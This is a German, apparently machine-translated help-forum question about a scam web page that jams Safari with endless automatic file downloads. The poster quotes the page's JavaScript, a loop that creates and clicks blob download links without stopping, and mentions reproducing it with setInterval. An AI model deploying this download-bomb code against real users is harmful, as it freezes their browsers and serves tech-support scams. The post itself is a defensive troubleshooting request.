Hintergrund
Auf vielen "fragwürdigen" Websites (Filmwebsites usw.) wird eine neue Spam-Seite angezeigt. Diese neue Spam-Seite passt in die Kategorie der gefälschten Scans, MacKeeper, "SIE HABEN EINEN VIRUS" usw. Kategorie.
Problem
Das Problem mit dieser neuen Seite ist, dass die Seite nicht nur ein Popup hat, sondern alle ~ 1 ms wiederholt einen Download von zufälligen 2-KB-Dateien (nicht schädlich, enthält nur zufälligen Text) wiederholt. Der Download-Ordner füllt sich, bevor Sie das Fenster schließen und mehr als 1000 Dateien löschen können. Im Gegensatz zu einem ähnlichen Problem, bei dem ein Seiten-Spam den Druckdialog aufruft, bleibt nur sehr wenig Zeit, um zu reagieren.
Fehlgeschlagene Fehlerbehebungsversuche
Ich habe versucht, den Download-Ordner zu sperren. Während es verhindert hat, dass die Downloads ... nun ... heruntergeladen werden, wird ein Dialogfeld (siehe Bild) angezeigt. Normalerweise könnte ich dieses Dialogfeld einfach schließen, aber da der Download alle ~ 1 ms versucht wird, wird bei jedem Versuch, das Dialogfeld zu schließen, ein neues Dialogfeld angezeigt, das mich daran hindert, das Fenster zu schließen.
Erzwinge das Beenden von Safari, wodurch der Download gestoppt wird (nach 1k's Downloads), aber dann verliere ich alle meine anderen Fenster
Ändern der Einstellungen in "Nach jedem Download fragen" in den Safari-Einstellungen. Funktioniert nicht, da 1 KB separate Dialogfelder geöffnet sind und ich nicht einmal die Registerkarte schließen kann. Irgendwann stürzt Safari ab.
Frage
Wie kann ich Spam-Downloads in Safari verhindern?
AKTUALISIEREN:
Hier ist der Code, der den Download verursacht (durch Deaktivieren von JavaScript und manuelles Durchsuchen des Codes):
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
Hinweis: Ich hatte einige Probleme beim Ausführen des JS auf einer benutzerdefinierten Seite. Es fror statt heruntergeladen. Ich konnte den Download mithilfe einer setInterval()
Funktion emulieren, die die Funktion aufruft download
.
Weitere Informationen: https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/